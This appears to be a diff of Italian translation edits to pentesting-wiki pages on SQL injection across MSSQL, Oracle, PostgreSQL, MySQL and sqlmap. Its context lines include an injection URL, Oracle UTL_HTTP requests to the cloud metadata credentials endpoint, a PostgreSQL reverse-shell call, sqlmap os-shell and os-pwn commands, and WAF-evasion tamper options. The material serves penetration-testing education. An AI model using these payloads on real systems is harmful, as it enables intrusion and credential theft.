 È possibile **enumerare gli utenti di dominio tramite SQL injection all'interno di un server MSSQL** utilizzando le seguenti funzioni MSSQL:
 
 - **`SELECT DEFAULT_DOMAIN()`**: Ottieni il nome del dominio corrente.
-- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Se conosci il nome del dominio (_DOMAIN_ in questo esempio), questa funzione restituirà il **SID dell'utente Administrator** in formato esadecimale. Questo apparirà come `0x01050000000[...]0000f401`, nota come gli **ultimi 4 byte** siano il numero **500** in formato **big endian**, che è il **ID comune dell'utente administrator**.\
+- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Se conosci il nome del dominio (_DOMAIN_ in questo esempio), questa funzione restituirà il **SID dell'utente Administrator** in formato esadecimale. Questo apparirà come `0x01050000000[...]0000f401`, nota come gli **ultimi 4 byte** siano il numero **500** in formato **big endian**, che è il **ID comune dell'utente amministratore**.\
 Questa funzione ti permetterà di **conoscere l'ID del dominio** (tutti i byte tranne gli ultimi 4).
-- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Questa funzione restituirà il **nome utente dell'ID indicato** (se presente), in questo caso **0000e803** in big endian == **1000** (di solito questo è l'ID del primo ID utente regolare creato). Poi puoi immaginare di poter forzare gli ID utente da 1000 a 2000 e probabilmente ottenere tutti i nomi utente degli utenti del dominio. Ad esempio utilizzando una funzione come la seguente:
+- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Questa funzione restituirà il **nome utente dell'ID indicato** (se presente), in questo caso **0000e803** in big endian == **1000** (di solito questo è l'ID del primo ID utente regolare creato). Poi puoi immaginare di poter forzare gli ID utente da 1000 a 2000 e probabilmente ottenere tutti i nomi utente degli utenti del dominio. Ad esempio, utilizzando una funzione come la seguente:
 ```python
 def get_sid(n):
 domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@@ -85,7 +85,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
 ```
 ### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
 
-Le stored procedure come `xp_dirtree`, sebbene non siano ufficialmente documentate da Microsoft, sono state descritte da altri online a causa della loro utilità nelle operazioni di rete all'interno di MSSQL. Queste procedure sono spesso utilizzate nell'Out of Band Data exfiltration, come mostrato in vari [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) e [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
+Le stored procedure come `xp_dirtree`, sebbene non siano ufficialmente documentate da Microsoft, sono state descritte da altri online a causa della loro utilità nelle operazioni di rete all'interno di MSSQL. Queste procedure sono spesso utilizzate nell'estrazione di dati Out of Band, come mostrato in vari [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) e [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
 
 La stored procedure `xp_dirtree`, ad esempio, viene utilizzata per effettuare richieste di rete, ma è limitata solo alla porta TCP 445. Il numero di porta non è modificabile, ma consente di leggere dalle condivisioni di rete. L'uso è dimostrato nello script SQL qui sotto:
 ```sql
@@ -143,7 +143,7 @@ SELECT dbo.http(@url);
 
 Un metodo conciso per estrarre il contenuto completo di una tabella in una singola query prevede l'utilizzo della clausola `FOR JSON`. Questo approccio è più conciso rispetto all'uso della clausola `FOR XML`, che richiede una modalità specifica come "raw". La clausola `FOR JSON` è preferita per la sua brevità.
 
-Ecco come recuperare lo schema, le tabelle e le colonne dal database corrente:
+Ecco come recuperare lo schema, le tabelle e le colonne dal database attuale:
 ````sql
 https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
 In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
@@ -209,11 +209,11 @@ SELECT 'a' SELECT 'b'
 So for example, multiple queries such as:
 
 ```sql
-usa [tempdb]
+use [tempdb]  
-crea tabella [test] ([id] int)
+create table [test] ([id] int)  
-inserisci [test] valori(1)
+insert [test] values(1)  
-seleziona [id] da [test]
+select [id] from [test]  
-elimina tabella [test]
+drop table[test]
 ```
 
 Can be reduced to:

src/pentesting-web/sql-injection/mysql-injection/README.md

@@ -136,7 +136,7 @@ Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi
 # When True, you found the correct char and can start ruteforcing the next position
 select (select 1, 'flaf') = (SELECT * from demo limit 1);
 ```
-Maggiori informazioni in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
+Maggiore informazione in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
 
 ### Storia di MySQL
 

src/pentesting-web/sql-injection/oracle-injection.md

@@ -82,9 +82,9 @@ Un `ORA-29276: transfer timeout` indica che la porta è aperta ma non è stata s
 
 **UTL_TCP**
 
-Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono [la comunicazione basata su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
+Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono la [comunicazione basata su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
 
-L'esempio [sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per effettuare una connessione TCP raw per recuperare una pagina web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.
+L'esempio [sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per stabilire una connessione TCP raw per recuperare una pagina web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.
 ```
 set serveroutput on size 30000;
 SET SERVEROUTPUT ON
@@ -128,7 +128,7 @@ Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pac
 
 **UTL_HTTP e Richieste Web**
 
-Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Out of Band Oracle SQL Injection è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate Hypertext Transfer Protocol (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.`
+Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Oracle SQL Injection Out of Band è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate al Protocollo di Trasferimento Ipertestuale (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.`
 ```
 select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
 ```

src/pentesting-web/sql-injection/postgresql-injection/README.md

@@ -47,7 +47,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
 ```
 **database_to_xml**
 
-Questa funzione esporterà l'intero database in formato XML in un'unica riga (fai attenzione se il database è molto grande poiché potresti causare un DoS o addirittura il tuo stesso client):
+Questa funzione eseguirà il dump dell'intero database in formato XML in un'unica riga (fai attenzione se il database è molto grande poiché potresti causare un DoS o addirittura il tuo stesso client):
 ```sql
 SELECT database_to_xml(true,true,'');
 ```

src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

@@ -36,7 +36,7 @@ INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64
 INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
 
 ```
-Per esportare e potenzialmente eliminare l'oggetto di grandi dimensioni dopo l'uso:
+Per esportare e potenzialmente eliminare il grande oggetto dopo l'uso:
 ```sql
 SELECT lo_export(173454, '/tmp/your_file');
 SELECT lo_unlink(173454);  -- Deletes the specified large object
@@ -48,7 +48,7 @@ La funzione `lo_import` può essere utilizzata per creare e specificare un LOID
 select lo_import('/path/to/file');
 select lo_import('/path/to/file', 173454);
 ```
-Dopo la creazione dell'oggetto, i dati vengono inseriti per pagina, assicurandosi che ogni blocco non superi i 2KB:
+Dopo la creazione dell'oggetto, i dati vengono inseriti per pagina, assicurando che ogni blocco non superi i 2KB:
 ```sql
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md

@@ -24,7 +24,7 @@ lanname | lanacl
 ---------+-----------------
 plpgsql | {admin=U/admin}
 ```
-Nota che per far funzionare il seguente script **la funzione `dblink` deve esistere**. Se non esiste, puoi provare a crearla con
+Nota che per il seguente script per funzionare **la funzione `dblink` deve esistere**. Se non esiste, puoi provare a crearla con 
 ```sql
 CREATE EXTENSION dblink;
 ```

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md

@@ -6,7 +6,7 @@
 
 PostgreSQL è stato sviluppato con l'estensibilità come caratteristica fondamentale, permettendo di integrare senza problemi le estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.
 
-A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.
+A partire dalla versione 8.1, viene imposto un requisito specifico alle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.
 
 Inoltre, tieni presente che **se non sai come** [**caricare file sulla vittima abusando di PostgreSQL, dovresti leggere questo post.**](big-binary-files-upload-postgresql.md)
 
@@ -75,13 +75,13 @@ HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
 ```
 Questo errore è spiegato nella [documentazione di PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
 
-> Per garantire che un file oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "magic block" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità evidenti, come codice compilato per una versione principale diversa di PostgreSQL. Un magic block è richiesto a partire da PostgreSQL 8.2. Per includere un magic block, scrivi questo in uno (e solo uno) dei file sorgente del modulo, dopo aver incluso l'intestazione fmgr.h:
+> Per garantire che un file oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "blocco magico" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità evidenti, come codice compilato per una versione principale diversa di PostgreSQL. Un blocco magico è richiesto a partire da PostgreSQL 8.2. Per includere un blocco magico, scrivi questo in uno (e solo uno) dei file sorgente del modulo, dopo aver incluso l'intestazione fmgr.h:
 >
 > `#ifdef PG_MODULE_MAGIC`\
 > `PG_MODULE_MAGIC;`\
 > `#endif`
 
-Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è diventato più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
+Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è diventato più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "blocco magico" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
 
 #### Compila la libreria
 
@@ -125,7 +125,7 @@ Puoi trovare questa **libreria precompilata** per diverse versioni di PostgreSQL
 
 ### RCE in Windows
 
-La seguente DLL prende come input il **nome del binario** e il **numero** di **volte** che desideri eseguirlo e lo esegue:
+Il seguente DLL prende come input il **nome del binario** e il **numero** di **volte** che vuoi eseguirlo e lo esegue:
 ```c
 #include "postgres.h"
 #include <string.h>
@@ -279,7 +279,7 @@ select connect_back('192.168.100.54', 1234);
 ```
 _Nota che non è necessario aggiungere l'estensione `.dll` poiché la funzione create la aggiungerà._
 
-Per ulteriori informazioni **leggi la**[ **pubblicazione originale qui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
+Per ulteriori informazioni **leggi la** [**pubblicazione originale qui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
 In quella pubblicazione **questo era il** [**codice usato per generare l'estensione postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_per imparare a compilare un'estensione postgres leggi una delle versioni precedenti_).\
 Nella stessa pagina è stato fornito questo **exploit per automatizzare** questa tecnica:
 ```python

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md

@@ -256,7 +256,7 @@ select get_perms("/etc/passwd"); # Get perms of file
 ```
 {{#endtab}}
 
-{{#tab name="Request"}}
+{{#tab name="Richiesta"}}
 ```sql
 CREATE OR REPLACE FUNCTION req2 (url text)
 RETURNS VARCHAR(65535) stable

src/pentesting-web/sql-injection/sqlmap.md

@@ -36,7 +36,7 @@
 --columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
 -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
 ```
-# Luogo di iniezione
+# Luogo di Iniezione
 
 ## Dalla cattura di Burp/ZAP
 
@@ -83,7 +83,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
 #Dropping a reverse-shell / meterpreter
 python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
 ```
-## Esegui la scansione di un sito web con SQLmap e auto-sfrutta
+## Scansiona un sito web con SQLmap e auto-sfrutta
 ```bash
 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
 
@@ -106,7 +106,7 @@ python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
 # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
 sqlmap -r r.txt -p id --not-string ridiculous --batch
 ```
-## Tamper
+## Modifica
 ```bash
 --tamper=name_of_the_tamper
 #In kali you can see all the tampers in /usr/share/sqlmap/tamper
@@ -114,25 +114,25 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | Tamper                       | Descrizione                                                                                                                        |
 | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
 | apostrophemask.py            | Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8                                            |
-| apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo corrispondente unicode illegale a doppio byte                                        |
+| apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode                                             |
 | appendnullbyte.py            | Aggiunge un carattere NULL codificato alla fine del payload                                                                         |
 | base64encode.py              | Codifica in Base64 tutti i caratteri in un dato payload                                                                             |
 | between.py                   | Sostituisce l'operatore maggiore di \('&gt;'\) con 'NOT BETWEEN 0 AND \#'                                                         |
 | bluecoat.py                  | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
-| chardoubleencode.py          | Codifica doppio url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\)                                   |
+| chardoubleencode.py          | Codifica due volte in url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\)                            |
-| commalesslimit.py            | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                      |
+| commalesslimit.py            | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                       |
 | commalessmid.py              | Sostituisce istanze come 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)'                                                             |
 | concat2concatws.py           | Sostituisce istanze come 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'                                         |
 | charencode.py                | Codifica in url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\)                                      |
-| charunicodeencode.py         | Codifica unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "%u0022"              |
+| charunicodeencode.py         | Codifica in unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "%u0022"           |
-| charunicodeescape.py         | Codifica unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "\u0022"              |
+| charunicodeescape.py         | Codifica in unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "\u0022"           |
 | equaltolike.py               | Sostituisce tutte le occorrenze dell'operatore uguale \('='\) con l'operatore 'LIKE'                                              |
-| escapequotes.py              | Escape con barra delle virgolette \(' e "\)                                                                                         |
+| escapequotes.py              | Escape con slash le virgolette \(' e "\)                                                                                           |
 | greatest.py                  | Sostituisce l'operatore maggiore di \('&gt;'\) con il corrispondente 'GREATEST'                                                  |
 | halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave                                                                   |
 | ifnull2ifisnull.py           | Sostituisce istanze come 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)'                                                           |
 | modsecurityversioned.py      | Racchiude la query completa con un commento versionato                                                                               |
-| modsecurityzeroversioned.py  | Racchiude la query completa con un commento a zero versionato                                                                       |
+| modsecurityzeroversioned.py  | Racchiude la query completa con un commento a zero-versione                                                                         |
 | multiplespaces.py            | Aggiunge spazi multipli attorno alle parole chiave SQL                                                                              |
 | nonrecursivereplacement.py   | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione \(e.g. .replace\("SELECT", ""\)\) filtri |
 | percentage.py                | Aggiunge un simbolo di percentuale \('%'\) davanti a ogni carattere                                                                 |
@@ -141,7 +141,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | randomcomments.py            | Aggiunge commenti casuali alle parole chiave SQL                                                                                   |
 | securesphere.py              | Aggiunge una stringa appositamente creata                                                                                           |
 | sp_password.py               | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS                                             |
-| space2comment.py             | Sostituisce il carattere spazio \(' '\) con commenti                                                                                |
+| space2comment.py             | Sostituisce il carattere spazio \(' '\) con commenti                                                                                 |
 | space2dash.py                | Sostituisce il carattere spazio \(' '\) con un commento dash \('--'\) seguito da una stringa casuale e una nuova riga \('\n'\)     |
 | space2hash.py                | Sostituisce il carattere spazio \(' '\) con un carattere pound \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\)   |
 | space2morehash.py            | Sostituisce il carattere spazio \(' '\) con un carattere pound \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\)   |
@@ -153,8 +153,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | space2randomblank.py         | Sostituisce il carattere spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi                |
 | symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici \(&& e                                               |
 | unionalltounion.py           | Sostituisce UNION ALL SELECT con UNION SELECT                                                                                     |
-| unmagicquotes.py             | Sostituisce il carattere di citazione \('\) con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine \(per farlo funzionare\) |
+| unmagicquotes.py             | Sostituisce il carattere virgolette \('\) con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine \(per farlo funzionare\) |
-| uppercase.py                 | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT'                                                          |
+| uppercase.py                 | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT'                                                           |
 | varnish.py                   | Aggiunge un'intestazione HTTP 'X-originating-IP'                                                                                   |
 | versionedkeywords.py         | Racchiude ogni parola chiave non funzione con un commento MySQL versionato                                                          |
 | versionedmorekeywords.py     | Racchiude ogni parola chiave con un commento MySQL versionato                                                                       |

src/pentesting-web/sql-injection/sqlmap/README.md

@@ -82,7 +82,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
 ```
 ### Eval
 
-**Sqlmap** consente l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nel seguente esempio, la **flask cookie session** **è firmata da flask con il segreto noto prima di inviarla**:
+**Sqlmap** consente l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente, la **flask cookie session** **è firmata da flask con il segreto noto prima di inviarla**:
 ```bash
 sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
 ```
@@ -142,49 +142,49 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
 | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
 | apostrophemask.py            | Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8                                            |
 | apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode                                             |
-| appendnullbyte.py            | Aggiunge un carattere NULL byte codificato alla fine del payload                                                                    |
+| appendnullbyte.py            | Aggiunge un carattere NULL codificato alla fine del payload                                                                         |
 | base64encode.py              | Codifica in Base64 tutti i caratteri in un dato payload                                                                            |
 | between.py                   | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #'                                                                |
-| bluecoat.py                  | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
+| bluecoat.py                  | Sostituisce il carattere di spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
-| chardoubleencode.py          | Codifica doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                       |
+| chardoubleencode.py          | Codifica due volte in url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                  |
 | commalesslimit.py            | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                      |
 | commalessmid.py              | Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'                                                                 |
 | concat2concatws.py           | Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                                |
-| charencode.py                | Codifica url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                              |
+| charencode.py                | Codifica in url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                           |
-| charunicodeencode.py         | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022"                   |
+| charunicodeencode.py         | Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022"                |
-| charunicodeescape.py         | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022"                   |
+| charunicodeescape.py         | Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022"                |
 | equaltolike.py               | Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE'                                                |
 | escapequotes.py              | Escape con barra delle virgolette (' e ")                                                                                          |
-| greatest.py                  | Sostituisce l'operatore maggiore di ('>') con il corrispondente 'GREATEST'                                                        |
+| greatest.py                  | Sostituisce l'operatore maggiore di ('>') con il suo corrispondente 'GREATEST'                                                    |
 | halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave                                                                   |
 | ifnull2ifisnull.py           | Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'                                                                  |
 | modsecurityversioned.py      | Racchiude la query completa con un commento versionato                                                                              |
 | modsecurityzeroversioned.py  | Racchiude la query completa con un commento a zero versionato                                                                       |
 | multiplespaces.py            | Aggiunge spazi multipli attorno alle parole chiave SQL                                                                              |
 | nonrecursivereplacement.py   | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (es. .replace("SELECT", "")) filtri      |
-| percentage.py                | Aggiunge un simbolo di percentuale ('%') davanti a ciascun carattere                                                                |
+| percentage.py                | Aggiunge un simbolo di percentuale ('%') davanti a ogni carattere                                                                   |
 | overlongutf8.py              | Converte tutti i caratteri in un dato payload (non elabora quelli già codificati)                                                  |
-| randomcase.py                | Sostituisce ciascun carattere della parola chiave con un valore di caso casuale                                                    |
+| randomcase.py                | Sostituisce ogni carattere parola chiave con un valore di caso casuale                                                             |
 | randomcomments.py            | Aggiunge commenti casuali alle parole chiave SQL                                                                                   |
 | securesphere.py              | Aggiunge una stringa appositamente creata                                                                                            |
-| sp_password.py               | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS                                             |
+| sp_password.py               | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log del DBMS                                         |
-| space2comment.py             | Sostituisce il carattere spazio (' ') con commenti                                                                                  |
+| space2comment.py             | Sostituisce il carattere di spazio (' ') con commenti                                                                               |
-| space2dash.py                | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')            |
+| space2dash.py                | Sostituisce il carattere di spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')        |
-| space2hash.py                | Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')  |
+| space2hash.py                | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n')   |
-| space2morehash.py            | Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')  |
+| space2morehash.py            | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n')   |
-| space2mssqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
+| space2mssqlblank.py          | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi               |
-| space2mssqlhash.py           | Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una nuova riga ('\n')                        |
+| space2mssqlhash.py           | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una nuova riga ('\n')                         |
-| space2mysqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
+| space2mysqlblank.py          | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi               |
-| space2mysqldash.py           | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')                                 |
+| space2mysqldash.py           | Sostituisce il carattere di spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')                             |
-| space2plus.py                | Sostituisce il carattere spazio (' ') con un più ('+')                                                                              |
+| space2plus.py                | Sostituisce il carattere di spazio (' ') con un più ('+')                                                                           |
-| space2randomblank.py         | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
+| space2randomblank.py         | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi               |
-| symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e                                                |
+| symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e                                                 |
 | unionalltounion.py           | Sostituisce UNION ALL SELECT con UNION SELECT                                                                                      |
-| unmagicquotes.py             | Sostituisce il carattere virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
+| unmagicquotes.py             | Sostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
-| uppercase.py                 | Sostituisce ciascun carattere della parola chiave con il valore maiuscolo 'INSERT'                                                |
+| uppercase.py                 | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT'                                                          |
 | varnish.py                   | Aggiunge un'intestazione HTTP 'X-originating-IP'                                                                                    |
-| versionedkeywords.py         | Racchiude ciascuna parola chiave non funzione con un commento MySQL versionato                                                      |
+| versionedkeywords.py         | Racchiude ogni parola chiave non funzione con un commento MySQL versionato                                                          |
-| versionedmorekeywords.py     | Racchiude ciascuna parola chiave con un commento MySQL versionato                                                                   |
+| versionedmorekeywords.py     | Racchiude ogni parola chiave con un commento MySQL versionato                                                                       |
 | xforwardedfor.py             | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'                                                                              |
 
